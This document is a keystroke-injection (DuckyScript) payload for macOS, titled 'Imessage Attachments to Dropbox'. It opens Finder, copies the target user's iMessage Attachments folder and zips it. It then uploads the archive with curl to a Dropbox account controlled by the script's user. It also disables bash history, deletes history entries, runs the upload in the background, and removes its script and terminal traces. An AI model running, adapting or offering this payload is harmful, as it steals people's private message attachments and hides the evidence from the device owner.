REM This Script will copy all the attachments in the messages app and send them to your dropbox API
REM Replace '<SYSTEM USERNAME HERE>' with the systems actual username 
REM Replace "<YOUR API KEY HERE>' with your actual Dropbox API key 


REM Here's the breakdown, we simply navigate to the finder 
REM use the Shift GUI G to open up the "go to folder" menu.
REM Then we search for & open the messages folder. 
REM Now we can tab to the attachments folder copy it and navigate to a new window to paste the folder
REM Then we zip the folder and send it to the dropbox 
REM Using the nohup and & to make sure the code is executed 
REM even when closing out of the terminal.

REM Requirements Must have at least two windows open
REM Dropbox API key and targets system username

REM Author: Narsty
REM Title: Imessage Attachments to Dropbox
REM Version 2.0 MacOs
REM Category: Execution 


ID 05ac:021e Apple:Keyboard
DELAY 500
GUI SPACE
DELAY 500
STRING Finder
DELAY 1000
ENTER
DELAY 2000
GUI-SHIFT g
DELAY 1000
STRING /Users/<SYSTEM USERNAME HERE>/Library/Messages/
DELAY 500
ENTER
DELAY 1000
STRING at
DELAY 500
GUI c
DELAY 250
CTRL RIGHTARROW
DELAY 1000
GUI v
DELAY 500 
GUI SPACE
DELAY 500
STRING terminal
DELAY 1000
ENTER
DELAY 500 
STRING echo -e "export HISTCONTROL=ignorespace\nunset HISTFILE" >> ~/.bashrc && source ~/.bashrc && exec bash
DELAY 500
ENTER
DELAY 500
STRING history -d $(history | tail -n 2 | head -n 1 | awk '{ print $1 }')
DELAY 500
ENTER
DELAY 500
ENTER
DELAY 500
CTRL c
DELAY 1000
STRING  echo 'cd ~/Desktop && zip -r attachments.zip Attachments && curl -X POST https://content.dropboxapi.com/2/files/upload -H "Authorization: Bearer <YOUR API KEY HERE>" -H "Dropbox-API-Arg: {\"path\": \"/attachments.zip\",\"mode\": \"add\",\"autorename\": true,\"mute\": false}" -H "Content-Type: application/octet-stream" --data-binary @attachments.zip' > upload.sh
DELAY 2000
ENTER
DELAY 500
STRING  chmod +x upload.sh
DELAY 500
ENTER
DELAY 500
STRING  nohup ./upload.sh >/dev/null 2>&1 &
DELAY 500 
ENTER
DELAY 2000
CTRL C
DELAY 500 
STRING  rm upload.sh
DELAY 500
ENTER
DELAY 500
STRING  CLEAR
DELAY 500
ENTER
DELAY 500
GUI w
DELAY 500
ENTER


